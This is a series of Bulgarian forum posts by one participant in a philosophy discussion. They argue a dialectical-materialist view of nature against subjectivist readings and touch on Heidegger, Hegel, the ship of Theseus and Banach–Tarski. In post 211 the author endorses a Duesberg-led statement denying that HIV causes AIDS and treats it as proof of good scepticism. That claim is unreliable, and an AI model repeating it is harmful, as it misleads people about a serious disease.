Може донякъде. Знаем, че всяка наука може да показва различни страни/нива на реалността. Субектното подлежи както на онтологичен, така и на физически, биохимически и пр. анализ. ОТДЕЛНО ИСКАМ ДА НАПРАВЯ ЗАБЕЛЕЖКА, че някои ден, ПРИНЦИПНО-И-ВЪЗМОЖНО, ще има и нови науки, които също ще разкрият неподозирани в момента страни на субектното. В този смисъл - пак се връщаме на Ленин - абсолютната истина си се достига постепенно и на различни етапи в проникването в същността от първи порядък, към същността от втори порядък и така нататък.
(Следва...)
-
194. Аз разбирам, че си опитвал да изясниш казаното от по-горните и критикувам тяхното разбиране за природното, като същевременно пиша и някои отношения към твоята позиция. Колкото до това дали ти си се изразил неясно или аз не съм разбрал - не знам. Знаеш, сигурно, ориенталската приказка : "Аз ли криво ти се молих, ти ли криво ме разбра?"... Причината за неразбирането ни (не само между мен и теб, а между почти всеки/всички двама души) е, че хората си правят различни асоциации (според умствения багаж, миналия опит и сегашното състояние - т.е. АПЕРЦЕПЦИЯТА по Кант). Знаеш, няма начин, Гадамер колко е дълбоко промислил РАЗБИРАНЕТО и понякога достига до не много радостни изводи; от друга страна, както казва Жижек, "Не е толкова важно да се разбираме, а е по-важно да можем да съ-съществуваме заедно." :) Да речем, че аз заемам някаква междинна позиция по въпроса.
Иначе, не се и съмнявай, всичко което към теб казвам го правя с много уважение, обич и даже някакво чувство на преданост. Преди се питах дали "Духовно богатство" е неправилен термин/симулакрум/алегория/символичност... Но всеки път като чета твой пост се усещам по-богат, което и ме кара да не се съмнявам в неща като "Духовно богатство" или "Духовен капитал".
:):):) /За съжаление, обаче, в свят където се иска и истинско богатство, само духовното забогатяване е много недостатъчно./
195. Първо към Хераклит-Кирилица, след това и към Дядо Ники (все си казвам, че "Дядо" е относително: за някои "дядо", за други - "батко", за трети "чичо"...)
Хераклит-Кирилица (Да не се бърка с Хераклит-Латиница), харесва ми модела ти на представяне на нещата, заявен от самия тебе - "Тука четат и хора, които тепърва навлизат във философията, затова и аз пиша неща, които на професионалистите може да се сторят отегчителни." Определено си беше удоволствие ОТНОВО да прочета за Киническата школа (дори тепърва научих, че там освен кучета е имало и боклуци, нещо като бунище, значи е било), но ще добавя нещо, което може и професионалистите тука да не знаят: Според Лудвиг Соучек, Диоген не е живял в бъчва (според повечето мнения - ДЕЛВА). Имал е малка къща, която просто носела подигравателното "бъчвата"/"делвата". Не се наемам да твърдя дали Соучек е прав, но споделям и ДРУГАТА ГЛЕДНА ТОЧКА, за да се обогатяваме.
Ники, спомняш ли си на моя семинар, когато имаше и физици как един доцент по физика не се съгласи с прилагането на философска спекулация, просто защото я сбърка с икономическата спекулация? :) Наистина извън някаква договореност, конвенционалност по използваните понятия направо може да излезне, че говорим на различни езици. Правя редукционен пример не с философско понятие на български, а с дума. За руснак "дума" значи "мисъл", за китаец - "Самотен кон" (приблизително казано - например "独马" - среща се в "单枪独马"), т.е. който както са го учили. ЦЕЛТА НА ВСЯКА ЕДНА НАУКА, особено пък на други форми на културата, като ФИЛОСОФИЯ и РЕЛИГИЯ, задължително трябва да бъде достигане на прецизност, яснота и непротиворечивост на понятията. Иначе, пак редукционистки пример - ти може да говориш за "книга", а у събеседника ти да възниква представата за хартия, като по този начин диалог ще се състои, дори и успешен диалог може да се състои, но няма да е автентичен, а само имитация на такъв. Сагатовский казва (по смисъл), че ако във философския диалог като употребяваме понятието "кон", примерно, у мене възниква представата за еднокопитен бозайник, пасящ на воля, а у тебе статуята пред Народното събрание на "Цар Освободител", яздещ кон, това не е проблем, защото е ясно, че асоциираме и оперираме с качествено-еднакъв смисъл. Обаче, ако след казан/прочетен "кон" аз си мисля за ИЗВЕСТНИЯ ФИЛОСОФ И.С. Кон, а ти си мислиш за kon.org (домейн), то, както е казал Тодор Живков "Така до никъде няма да стигнем. Голяма грешка ще направим." :) :) "Тясно-философски интереси в определена традиция" наподобява американско философстване. Още си спомням Дейвид Дърст (американски философ, който ни беше преподавал), при който карахме "Модерна Политическа Философия", който обясняваше със задоволство колко напредничава е американската образователна система, при която хората се концентрират върху само 2-3 неща и накрая (аз добавям) не знаят колко страни има един триъгълник (Който не е гледал да гледа клипа в Youtube - "Americans are not stupid.", там средно-интелигентните хора смятат, че Фидел Кастро е певец, триъгълникът има една страна или николко, а пък Иран се намира в Австралия)... /Това не значи, че няма и образовани, знаещи американци. Не говорим, че 100% са все такива незнаещи./ Тоест, пак позовавайки се на Сагатовский, ще кажа, че така човек се ЗАКОПАВА само в собствената си яма и губи връзка с останалото полезно знание. Примерът му е, че някои физици не са запознати с последните математически открития, някои литературоведи не са запознати с различни философски течения, а това осакатява възможностите на една по-добра физика, философия и пр. И ето, да вземем предвид не само Енгелс, който без познанията си по други сфери на знанието едва ли е можело да напише "Анти-Дюринг" и "Диалектика на природата", но твоят настоящ любимец ХАЙДЕГЕР-
Хайдегер е немец. А немците, за разлика от американците, имат един доста по-различен подход на образование - вкл. на ФИЛОСОФСКО ТАКОВА. В този смисъл Хайдегер НЕ Е чел само 2-3 философа. Според енциклопедиите - над 10 философа е изследвал и се е повлиял от тях от Аристотел през Дънс Скот до Хусерл! ОТДЕЛНО Хайдегер е имал понятие и от : теология, изкуство, ТЕХНИКА! Същото може да се каже и за Хегел - изключителна за времето си, макар и не абсолютна, информираност по различни страни на света. Ето защо, няма как да очакваме, че EX NIHILO, от TABULA RASA, ще може да се направи ВИНАГИ-И-ЗАДЪЛЖИТЕЛНО качествена философия. Това е атавизъм, останал от миналото, когато не е имало обособени науки и хората са си философствали, най-често, достигайки до някакви НАИВНИ ФИЛОСОФИИ. Ако непредубедено изследваме РЕЗУЛТАТИТЕ на който и да е Древногръцки философ, примерно от Досократиците, няма как да не признаем, че днес едно 17 годишно "дете" с успех в училище над средния, но и под отличния, ще е доста по-способно да представи АДЕКВАТНА КАРТИНА НА ВЪПРОСИТЕ, КОИТО СА ЗАНИМАВАЛИ ДРЕВНИТЕ ФИЛОСОФИ и по-АДЕКВАТНИ резултати. Да речем преди са си представяли, че от очите излизат едни неща и от предметите други, та така ставало ЗРЕНИЕТО... Пълен наивитет!
+++
И сега, с оглед на казаното, се връщам към темата (и то съвсем първоначалното, което ме "бодна"), че "Атомите и Слънцето не са природа, но пък Слънчевата светлина е." Аз съм далече от мисълта, че науката ще приеме едно такова определение на ПРИРОДА/ПРИРОДНО. И, все пак, доколкото понякога имеменно философите за "законодателите" и "понятие-творците" (понятотворците) на науките, се безспокоя, че в един "Възможен свят" ;) , ако такова определение се застъпи официално и, съответно, промие мозъка на учениците, то ще се върнем доста назад и логически ще стигнем до субективен идеализъм и солипсизъм.
Не само онтологично, чисто физически е абсурдно да се мисли, че Слънцето не е природа, но ЕСТЕСТВЕНОТО МУ ПРОДЪЛЖЕНИЕ - СЛЪНЧЕВАТА ЕНЕРГИЯ, ЛЪЧИТЕ, ТОПЛИНАТА са природа, само и само, защото се индикират от Homo Sapiens-а. Това е като фоклорното шопско мислене, направо, че "няма жираф, защото досега не е присъствал в нагледа и опита".
Индикаторът - човек, животно, огледало (с уговорки), микроб и пр. не задава наличност. Наличността, както са казали класиците, е "ВЪН И НЕЗАВИСИМО ОТ" нашето възприемане, съзнание и пр.
Съвсем последно ще си послужа с пример от "Философия за деца" в българска детска градина. Доколкото е безспорно, че и децата могат да философстват - ето нещо МНОГО МЪДРО от момиченце:
- Като си затвориш очите какво виждаш?
- Виждам (иска да каже "представям си" - бел. моя) делфини.
- А какви са на цвят?
- КАКВИТО СИ ПОИСКАМ!
- А като си отвориш очите можеш ли пак да си променяш както си поискаш цветовете на нещата.
- Не.
- Защо?
- Ами защото те са си там!!!
Тоест, даже дете, след определена възраст, може да разсъди кое е обективно и кое е субективно.
(Ако се не лъжа примерът, който възпроизведох е на доктор по онтология - Цена Желязкова).
196. Философска типология на проф. Каприев
От част от някакво интервю: Аз на шега, мисля за първи път пред вас, направих една типология на българската философия и хуманитаристика. Има философи-аграрници, индустриалци и постиндустриалци. Искам да направя уговорката, че това е идеална типология. Във всяка страна бихме могли да открием тези типове, нещо повече - във всяка отделна личност се открива действие и на трите типа, въпросът е за пропорциите. Аграрниците са тези, които се реализират вербално на, така да се каже, местна почва. Тази почва се характеризира с два топоса: единият - ако изобщо е налице - е университетската аудитория, другият кръчмата или приятелският кръг, където те - наистина, някои блестящо, хвърлят сентенции, идеи, анализи, които остават акустични. Падат в земята и не гният само по изключение. Индустриалците са ясно кои - хората, които произвеждат текстове, критични издания, преводи, изобщо всичко, което се брои за траен продукт в една наука. Пост-индустриалците са тези, които пишат проекти и правят експертни оценки. Светът е такъв, че всеки от нас се занимава по малко с всичко това. Но пак казвам - въпросът е в пропорциите. Както е известно, България е предимно аграрна страна - и във философски аспект също. И това се отнася не само за философията, а за всичките ни хуманитарни науки. Това си има някакъв чар, но носи и проблеми.
Доста ми допада и доста съжалявам, особено за първите, които наистина раждат добра философия, но тя остава непозната за тези извън тесния им кръг. :(
(Следва...)
-
197. Веско, личи си, че си мил и културен човек. Радвам се, че се радваш не само на подкрепата, но и на критиките, които ти отправяме! Аз лично по-често пиша, ако има нещо за критикуване, което е полезно. Нещата, които са за хвалба, по принцип, може и да се пропускат, защото хвалбата освен емоционална, няма някаква познавателна стойност, докато критиката е с доста познавателен заряд (ако е градивна, де).
И сега конкретно - "Склонен съм да приема интерпретацията на Дядо Ники, доколкото тя ни отвежда в едно по-общо, в смисъл на родово, говорене по темата и ни дава възможност за форумно разбиране.
Категоричното разпознаване на природното като субективно (в смисъла на произхождащо от субекта) принадлежи на Кант и е направено в Критика на чистия разум, където се забелязва, че природата изобщо не е нещо само по себе си, а в крайна сметка се отнася до единството на съществуването на явления според принципа на каузалността, като противопоставен на свободата."
Съгласен съм и даже на времето във форум по зоология и етология, на който бях модератор, отстоявах подобна теза - Че природата е понятие за обозначаване на съвкупността от единични живи и неживи обекти + нас, субектите. "Природа" е понятие, което може да се каже, че е обобщение. От Ленин знаем, че общото не съществува отделно, независимо от единичните неща. Кант разсъждава по подобен начин. Така или иначе, обаче, тези единичности, които са сложени "под общия знаменател" (Природа/Природно) са си ОБЕКТИВНИ, ВЪНШНИ и САМОСТОЙНИ.
"която пък от своя страна най-вероятно прозитича от религиозни съображения и мотиви"
Ето това е много важно да се усети. Религията в Западната философия има такъв отпечатък, който още тегне върху понятийността на философите, включително и на вас. Ярък пример е мисленето за "богоподобие", което може да твори "от нищо" и пр., което редовно се прокрадва в анализите тук-таме. А това са мисловни атавизми, дори може да си послужим с термина МЕМОВЕ. ("Мем" = единица културна информация, предаваща се по аналогия с "ген"). Ето защо
няма лошо да се мисли следвайки някакви схематичности, но е хубаво и да се НАДСТРОЙВА, КОРЕГИРА мисленето с оглед на съвременното състояние на нещата.
Идеалът на диалектическата критика е да се снемат нещата, т.е. да се запазва от тях само по-ценното, прогресивно и да се доразвива. Иначе се изпада в доктринерство.
"Именно от позициите на Абсолюта, Хегел в крайна сметка не може да получи разликата между Природа и Съществуващо (такова за каквото ни го представя в „Учението за Битието” и „Учението за Същността” от „Науката логика”)."
А аз питам КОМУ Е НЕОБХОДИМО ТОВА? Тоест, ако се мисли всичко съществуващо като природа, строго-дефинирана на ЖИВА-НЕЖИВА и, примерно, с уговорки, на ПЪРВА/ВТОРА природа, нещо губи ли мисленето? Не. Дори печели, защото се освобождава от идоли (по Бейкън). Правя веднага аналогия с ТОПЛОРОДА. Много физици, вкл. и философи са си мислели, че това е особено вещество, пренасящо топлината; да но се оказало, че топлината е просто по-бързо движение на частиците. По този начин мисля, че СЪЩЕСТВУВАЩО и ПРИРОДА е едно и също нещо и трябва да се използват като синоними, просто защото обозначават едно и също.
"О-плътняването на съществуващото, конкретното съществуващо добива своята плът само формално и външно. В този смисъл и науката за пространството се мисли като чиста механика (геометрия). Математиката е природна наука."
Едно време е можело и така да се мисли. Днес е ретроградност.
"Истинската работа във връзка с философия на природата е свързана с разкриването на спецификите в развитието на духовното, субектното, разумното, доколкото то е мислено през себесността си."
Това е една добра насока, именно защото, точно в материалистическия дух на научно-философското, духовното се поражда от материалното, от природното. При един добър мироглед и метод (до което свеждат философията хора като Жданов /Димитър Денков много се беше стреснал и ядосал, че в курсова работа съм цитирал Жданов :) /) + едно владеене на поне средно ниво на достиженията на генетика, сравнителна анатомия, сравнителна психология и някои други може да се постигат забележителни резултати.
"Т.е. изкуството, производството, науката, природното са свързани със себесността (собствеността) на разумното, субектното."
Забележи само как "природното" стои не на място! Изкуство, производство, наука - ДОБРЕ, все производни на човешката дейност и ХОП... природното, което го е имало и преди човека и, което, дори днес не е напълно подвластно нему (земетръси, торнада, тайфуни и пр.)
"Dalai-tatar, благодаря, че намесваш „Философия с деца”, дейност в която вече 12 години трупам опит и изучавам. Темата за „природно и не-природно / природа и не-природа” е изключително предпочитана от децата (според авторската методика, с която работя, от децата се изисква сами да предлагат теми, по които да мислим заедно)."
Ами аз съм почти-колега, доколкото основно преподавам в детски градини (китайски), но, за съжаление не философия, а чужди езици. Ако решите да правите някой проект за изследване и да включим транс-национални изследвание - дай насам, живот и здраве, ще се потрудим заедно, ще спретнем, както казва Каприев един "Виртуален институт, но реално произвеждащ, а не реален, но произвеждащ само виртуална наука." /И от това нищо не излезна. Предлагам, предлагам, но няма обратна връзка и желание... Просто едно от многото ми предложения за сътрудничество през годините, което е било неуспешно. Все някакви пречки има - или не искат, или нямат пари, или не разбират, че има на този свят и мита/митници, или не ми вярват дори... Лошо./
"Надявам се, някога да успея да направя публично достояние емперичните данни, които получавах до скоро почти сам, а от една година и от едни много талантливи и изключително отдадени колеги, каквито са спомената вече Цена Желязкова, Ева Добрева, Цветелина Калъчева и Стефан Андонов."
Виждаш ли? Мислим еднакво. Точно това и аз предлагам като съдействие. После славата ще я делим по равно. :) Нали знаеш - то като не е пари, е неизчерпаемо :) По схемата - Ако аз имам две ябълки и ти дам една, после аз ще имам една ябълка и ти ще имаш една. Ама, ако аз имам една идея и ти я дам, после аз ще имам една идея и ти ще имаш една идея. :)
Извинявам се на теб и на останалите за емпиричното-прагматично, дори МАМОНИСТИЧНО ;) отклонение, но аз съм искрен човек (напоследък) и си казвам нещата направо (икономисва се време, нерви, енергия и пр. ресурс).
"Не мисля, че водещата идея в случая е за обективно и субективно."
В онзи пример не знам каква е била водещата идея на колежката, но аз разкрих в отговора на детето много находчиво раграничаване на въображаемост и реалност.
"Ето още един пример. Разглежда се златна халка на един от моите пръсти и се питаме дали е природа или не. Максим (1 клас) казва: „Златото в този пръстен е природа, а формата е направена от човек.”"
Ами много добре е казал човекът! Ето точно по Марксистко-Енгелски - природа и Втора природа! Евала! (Няма да е зле да отворим една темичка за такива по-интересни отговори, аз също имам наблюдения от над 5 години работа по детски градини в Китай - да речем бях настинал като работех на Север и кашлях и едни 3 годишни : "ХА! ЧУЖДЕНЦИТЕ И ТЕ КАШЛЯТ!!!")
"Когато казвах, че Слънцето не е природа, се имаше предвид една крайна и радикална гледна точка, т.е. такава, при която разумното, идеята не открива никаква себесност в Слънцето. Явно е, че с НАШЕТО Слънце това не е така. Най-малкото, защото има мсисъл, в който то е именно наше."
Аз разбирам и ми хареса примерът, защото е именно нагледен и може да служи за свеждане до абсурд. Излиза, че преди хората да открият Антарктида (а тя се отрива сравнително късно) такава интересна природа там с пингвини не е била природа. С това и пари да ми дават - няма да се съглася (предполагам поне докато не се нахвърли някоя сума от 6-7 цифри , хехе!)...
"Освен това и благодарности към намесилите темата за „Магията”. Това е един много благодатен пример да се отработва отношението към природното през разликата Цел-Инструмент, Ценност-Употреба. Темата се родее с тази за „Науката”, но разбира се, в крайна сметка са от съвсем различен вид."
Не точно. Имат си преходни, свързващи звена като алхимията, примерно. /А иначе аз мисля, че магии не съществуват. Науката не е доказала да има такова нещо./
Ами мерси отново, че си "губиш времето" с нас и, особено с мене, доколкото аз съм най-радикално-отличаващия се с моя диалектическо-материалистически подход. Надявам се, че и на теб ти е поне полезно, ако не интересно комуникирането с различните гледни точки, както и самият ти заявяваш подобни мисли и/или чувства!
Поздрави, живи-здрави и до нови срещи!
198. Здравей, приятелю!
Aз съм по-скоро Ленинст, а не Марксист. (Говорейки във философски смисъл, т. е. относно моята философска ориентация, като професионален философ.) Ленинизмът е по-близко до реалността, а Марксизма има доста фатализъм и др. недостатъци.
"Повече тръпка откривам в определени аспекти на въпроси от рода примерно на: как мисленето мисли?"
Това е тавтология. Просто подчертавам, за да не стават методологически грешки.
"И тъй като по някаква случайност имам представа от Хегел, е напълно постижимо за мен в рамките на седмица да направя такова изложение на Хегел, в което да покажа генезисът на почти всички твърдения на Vesselin - като деконцептуализация: един вид антисистематичност, която чрез фрагментирането на Хегеловата система образува страхотна словесно-понятийна някаквост."
Да се опира човек на Хегел, а и на който и да е друг, с градивни, полезни, смислени резултати философ не е проблем. Проблем става, ако не ги надскочи, ако не ги преодолее с оглед на съвременното разбиране на нещата, опиращо се на практиката. Примерно аз много обичам Ленин, но не си служа с идеята му за топлорода, ако самият той е жив също няма да си служи с нея. /Това с топлорода може и да не е подходящ пример, защото бяхме спорили дали Ленин е вярвал в топлорода или не. Но принципът си остава - всеки философ, който може да се развива, би могъл ако живее по-дълго, в новите времена, да променя това-онова от системата си/от философията си./
"Това последното е типично и много разпространено в научните среди през 20 в., аз го наричам поведение на 'интелектуалния пролетариат': когато става дума за имидж и позиция изведнъж се забързват и реагират светкавично; когато става дума за собствената им практика - или нямат време поради други занимания, или са уморени и не им се говори за това."
Просто имиджът е по-важен за човеците, отколкото практиката. Обаче, ако свържеш практиката с имиджа, веднага пак ще отреагират. Въпрос на асоциативност.
Колкото до курса, като всеки курс, понякога в процеса на работа се появяват ЕПИФЕНОМЕНИ и само заради тях си струва да се посети.
(Следва...)
-
199. Ами щом и Проектория е спомената аз се чувствам задочно поласкан. :) /В смисъл, че по онова време не се бях осъзнал достатъчно и пишех там. Вече съм се осъзнал, че написаното си е мое и искам да си бъде мое, да ми носи макар и малко, но мои пари, защото в днешните условия без пари почти нищо не може да се получи./ Иначе и Ясен е от моя курс (т.е. състудент бях не само с Ники Турлаков, но и с него), та изхождайки от наблюдения преди над 10 години, смятам че се е справил добре.
Хубаво е да има и такива теми - за българските философи. С тях се refresh-ира /обновява/освежава/ познанието за тях, а и току-виж на някои им се вдигнала и национално-философската гордост.
200. Благодаря!
Правя комплимент (заслужен) на Хераклит Латинский :) за позоваването му на широки познания, съчетани с философски дискурс! Особено ми хареса информацията за вятърните мелници. Оптимист съм, че колкото е по-осведомен философа за нещата от останалите сфери на познанието и живота, толкова по-добре за философията. (Сега Николай да не вземе, случайно, да се засегне, този комплимент, дори и да е последното, нещо, което му е притрябвало се отнася и до него, за техническия му пример с котлона, който беше дал удачно в друга тема!)
Имаше една дискусия в друг форум между Хамил (доктора-философ от Московския университет) и Константин (юрист и политолог) относно дали някои християни са били и алхимици каза така: "Томпсъна и той си е споделял окултно- алхимични виждания щото просто не е могло да бъде иначе. Нямало е с кво друго да си зареди софтуера." По аналогия с компютърните "хардуеър" и "софтуеър".
В този смисъл - съвременният философ е доста по-облагодетелстван, че може да си "зарежда софтуеъра" с толкова много разнообразни факти, открития, наличности, които не само биха го обогатили, но и биха го навели към нови мисли и перспективи за творчество.
201. Относно мой въпрос във връзка с философията и икономическите проблеми.
От мене е и се радвам , все още, на много хубавия, т.е. професионален и немързелив отговор. В смисъл, че доста народ (не само сред философите) си спестяват усилията при отговаряне къде качествено, къде количествено.
Използвам повода да кажа, че новата форма на форума е по-интересна за средния потребител (изхождам от естетическото /пред-/убеждение, че на професионалните философи им е все едно каква е формата, ако съдържанието е философско или, поне, парафилософско /т. е. около философското/), тоест, в качеството ми на юзър /потребител/ много ми харесва, в качеството ми на философ - нито ми харесва, нито не ми харесва, т.е. индиферентен съм.
Единствената критика, която вече беше отправена и от други и която просто подкрепям - да се оправи проблемът с двете букви. Всичко друго, за мен, е прекрасно, затова и подкрепям всичко (законно), което би помогнало за развитието на сайта, независимо дали става дума за пари, за идеи и пр., което си и личи от коментарите ми досега. Преди не съм си представял, че ще имам някога възможност, дори и от чужбина, да бъда в досег с колеги от България, та дори и със състуденти като Николай и Ясен, за което благодаря сърдечно на всички, които са допринесли с действия или поне с идеи за този сайт и, най-вече, за форума му! /Но, това е вече, "минало-заминало". Много хора бяха баннати, напуснаха и твърдя, че добрият форум се провали заради двойни стандарти и лош мениджмънт (управление), най-общо казано./
202. Хераклит, освен ЕВОЛЮЦИЯ, има и РЕВОЛЮЦИЯ, както и ИНВОЛЮЦИЯ.
Heraklit, от анонимност, понякога има полза, с цел да не се изпада в парадоска на Ебилин (Abilene (/ˈæbɪliːn/)) - определение на руски: "Парадокс Абилина заключается в том, что группа людей может принять решение, противоречащее возможному выбору любого из членов группы из-за того, что каждый индивидуум считает, что его цели противоречат целям группы, а потому не возражает." /Парадоксът на Ебилин се състои в това, че група хора може да вземе общо решение, противоречащо на възможния избор на всеки член на групата, поради това, че всеки отделен човек счита, че неговите цели противоречат на групата и затова не възразява./
Следва...
-
203. Ако някой не знае, то това ще са по-скоро нефилософите, отколкото колегите тук, та да обясня същността на парадокса:
Корабът на Тезей взел да остарява, но бил паметник на културата и исторически значим, та като му остарявали "детайлите" ги заменяли с нови. В един момент умните глави се запитали - "След като този кораб вече тотално е съставен от нови части, все още ли е "Корабът на Тезей" или си е нов, "друг кораб"?" и , логическия въпрос - "Ако от остарелите му части се състави нов кораб, той пак ли е "Корабът на Тезей" или не е?"
Има и други варианти на парадокса, но нека да помислим над този...
...
Вие как мислите?
204. Аз няма да се намесвам с оценки на вашите отговори, защото следващия път може да не ми отговорите, ако създам негативни асоциации.:D, но ще си изкажа моята позиция и, вече, бих се радвал, ако някой реши да ми я критикува по какъвто и да е начин:
Имам много простичък, но верен, според мен, отговор на въпроса. Ето как мисля:
1-ви пример: Имаме качеството ABCDEF. Почват да се повреждат ;) и лека-полека ги подменяме с аналогови A', B' и пр. Най-накрая получаваме A'B'C'D'E'F'. Ами не е същото, макар и да си прилича. Подобно е, просто.
2-ри пример: По-нагледно и според мнението на един инженер - Камен Иванов : Сменяш на компютъра монитор, модем, кутия и всичко останало. Много ясно, че вече имаме работа с нов компютър. Ако от частите на стария се сглоби пак компютър, то ще си е старият компютър.
3-ти пример: Съвсем нагледен и доказващ- Тери Пратчет в една от книгите си говори за БРАДВА. А брадвата е съставена само от 2 части - дървена и метална. Като й замениш и двете части, това вече си е нова брадва. Хората я приемали физически за нова, но емоционално си я считали за добрата стара брадва. :)
205. Семантиката, както съм казвал и преди, трябва да е част от епистемологията, по същия начин, по който епистемологията е част от философията. Предметът на семантиката е по-частен случай, а и самата епистемология също борави с него. По този начин семантиката трябва да е просто един от методите на епистемологията и толкоз.
Следва...
-
206. За парадокса на Банах и Тарски (Банах-Тарски) Доколкото не разбирам от разчитане на математически формули се питам какво представлява и КАК СТАВА ТОВА НЕЩО?
Значи според този парадокс всяка сфера (топка) съдържа в себе си две сфери (топки). Направо си твърдят, че ако имаш една топка, примерно кристална и я строшиш на парчета, после от събраните парчета можело да се слепи не само същата, но и цели 2 нови, идентични топки...
Ето и твърдението на английски :
"a solid ball in 3-dimensional space can be split into several non-overlapping pieces, which can then be put back together in a different way to yield two identical copies of the original ball."
Малко ми прилича на историята, в която Исус нахранил 5000 човека само с обяда на едно малко момче!... /И, както съм писал и по-рано, мисля че това е невъзможно./
207. Присъждам на Лилия орден "Герой на философското разследване" за успешната й комуникация и получени отговори "от извора"... Тц-тц-тц, на този писала, на онзи писала, а те хората пък и отговарят! :)
Лили, обещавам ти и аз да ти отговоря, ако стане дума за моите термини. Аз досега съм създал само един такъв - "Зиезизъм", който върви в употреба из българското Интернет-пространство и обозначава стремежите да се възроди ненаучната, автохтонна теория за прабългарския етногенез на Ценов. /По-сетне създадох и други. Имам доста: "новопрабългарски", "зодизъм", "неоцеоновизъм" (по-точното за "зиезизъм", за което стана дума...)/
208. Четох го вече, но не ми е ясно, все още. Самата картинка с двете зелени топки не ме убеждава по никакъв начин, че "1=2"... :( /Едно е равно на едно. 1=1. Две е равно на две. 2=2. Няма как 1 да е равно на 2, нито 2 да е равно на едно./
209. Ааааааааааааа, значи с реални топки не ставало! Ами и аз това си мисля; то ако ставаше така, щеше да става и с луканката. Вземаш една луканка, нярязваш я и после от нея слепваш 2 нови, идентични на нея луканки... И no more hungry. /в превод от английски - "няма вече глад"/ :) Да, ама не става, защото нещата са крайни.
Запознат съм с постулата, че в една линия, примерно, имало безкрайно много точки, защото "точката била безкрайно малка", но на такива неща за "безрайната делимост на нещата в дълбочина" не вярвам, особено след като физици, а и философи казват, че на едно ниво няма материя, а почва само енергия. Знам, че точката не е материален обект, но я смятам за нещо атомарно и крайно. /Смятам, че нещата са крайни; че няма безкрайност. Финитист съм./
Да си жива и здрава, че ми обясни, че не става дума за истински, а само за идеално-въображаеми геометрически топки, че бях взел сериозно да се замислям как да направим номера и с луканката, щото и тя се състои от "безкрайно много точки". ;)
210. Е, защо ирония?! Просто ми хареса, че може от източника да се вземат отговорите, а това, че и НА ЖИВО са ти отговорили, още по-хубаво. За удивителното съм съгласен да питаш. Ами удивлявам се, защото, примерно и Гадамер така е отговарял, независимо дали си му от националността, дали си му колега и пр., т.е. отнасял се е по човешки с човеците, за разлика от някои актьори, примерно. Тоест стана ми приятно, че хората са се отзовали, а и, че ти си обърнали внимание на питането тук, и лично си се ангажирала. За ордена - ами той е виртуален, но ти може да си го материализираш. :) Още си спомям филм с Парцалев, където в ролята си на цар питаше художника "Пари или медал?" :) Тоест материални и морални стимули.
---
Зиезизмът /Неоценовизмът/ не е философски, а етногенетичен (историко-лингвистически) феномен по-скоро, с чиста съвест може да се нарече и "неоценовизъм", примерно.
---
А колкото до това да ти стана интересен като обект на едно философско разследване, засега виждам 2 начина:
а) Да създам ново философско течение (много е лесно, не се шегувам, бих направил системата в рамките на седмица, бих я популяризирал в рамките на 7-8 месеца...), обаче имам достатъчно философска съвест и не ща да лъжа хората. Доста философски системи не се различават много от поредната протестантска църква. /Или всякакви други секти./
б) Да си избереш някой актуален философ (за предпочитане още жив и без слабо сърце), може и от "онези хора", който не ти допада много и да му дръпна една съществена, системна критика, след което може даже да се прочуя. То това си е форма на философско паразитиране, донякъде де, но не е изцяло, така че... помисли над идеята и, както се казва в един от лозунгите "Просто ми посочи целта!" :):)
211. Както би казала самата Лилия - пак не си чела внимателно, хи-хи. В други теми бях посочил, че съм толкова обективен, че дори критикувам и Ленин. Дадох пример с ТОПЛОРОДА. По негово време официалната физика смята, че има топлород, а Ленин като човек доверчив на науката (и то с голямо право) приема, че има топлород. Аз не съм много доверчив, щом като дори съм се подписал барабар с още над 6000 учени, оглавявани от Peter H. Duesberg срещу официалната теория за връзката "СПИН - HIV". И, гледам, съм на прав път, щом като не се подведох лесно, че в реалността една топка е равна на две, същите като нея, топки.
Да си Ленинист не значи да си доктринер и да нямаш собствена, жива гледна точка. /Това, за топлорода, по-сетне както писах, изяснихме, че доста преди Ленин е било опровергано, но по останалите неща си оставам на предишното мнение./
212. "Не, тези двата начина едва ли биха те довели до нещо, което би ме заинтересувало. Не си падам по философии - църкви (независимо дали богът на съответната "църква" се казва Кант, Ленин, Хайдегер или Карнап)."
НЕ ИЗКЛЮЧВАМ възможността дори Ленинзмът (Диалектическият материализъм) да се превърне в лицето на някои негови представители в доктринерство, обаче, аз лично съм истински диалектически материалист, т.е. ръководя се от практиката (вкл. науката) и не стоя на едно място, развивам се по спиралата, докогато, докъдето и доколкото стигнат животът, здравето, силите.
"Още по-малко се впечатлявам от самоцелната критика, разобличаваща тези църкви и техните богове. Така че забрави ..."
Язък. Критикуването ми иде толкова отръки...
"Би могло да ме заинтересува нещо, което не знам/не разбирам и узнаването/проумяването на което би променило съществено било посоката, било съдържанието на мисленето ми."
Е, тука вече става дума за:
а) Революционни научни открития.
б) За умели пропагандни трикове.
В тези неща нищо не ми иде отръки... Аз освен етимологията на прабългарското име нищо друго не съм открил, като изключим че на времето казах на Ради Радев (през 1993), че съм открил, че Сократовата майевтика си е вид софистика, ама професорът ми го отхвърли веднага. :) /Да допълня, че имам и още малко неща да добавя, които може да се сметнат за вид "откривателство" - например тюрко-алтайска етимология на "сегиз-тугиз", прилагателното и съществителното "медузешко" (като вид ястие), българското название за предразсъдъка основан на зодиите - "зодизъм", "Психологически закон за удовлетворяване на потребностите", "Парадоксът на глупавия професор", " Изтребването на 52 боилски рода от Борис-Михаил и аналози в Азия", "Argumentum ad moderatorum"... За повече - тук (http://www.seo-forum-seo-luntan.com/other-languages/a-otkt-a-ee-ktae/msg32900/)./
(Следва...)
-
213. Хаха, Николай винаги е с неповторимо чувство за хумор. :)
Хайдегер... Ако Лилия наистина не познава Хайдегер и той е нещото, което би "променило съществено" или посоката, или съдържанието на нейното мислене, аз направо предлагам да я ориентираме към един от главните проблеми на Хайдегер - колегата му Алфред Розенберг. Този е променил мисленето на доста хора, че чак и до действия ги е докарал...
214. А така, де, бате Ники, отпусни се и си казвай мнението директно в очите, че да върви раздумката (знаеш, че никой няма да ти се разсърди, а аз пък ни най-малко). А раздумката стигна до много интересен развой, който ще е полезен на всички. Ще започна отзад-напред, за да стане кристално-ясна тезата ми като реч на Тодор Живков пред студенти по случай студентския им празник:
1) Диалектическият материализъм отдавна е промислил казаното от Хайдегер (виж твоето допълнение за изначалната заблуда на науката вече навява на обскурантизъм, което се заклеймява директно като вредност, враждебност, реакционност. Може да го обсъдим и в отделна тема, ако ти или друг има желание, ако ли не, тук, в тези скоби, ще кажа накратко - ако науката е "изначално-заблудена", значи и философията е изначално-заблудена, щото хем е майка на всички науки в исторически смисъл, хем в момента е една от формите на културата, заедно с науките.) Аз се сещам за 3 примера (относно промислянето на казаното от човека, обвинен от колегата си Розенберг, че развива "собствен нацизъм", а не се води по официалния нацизъм).
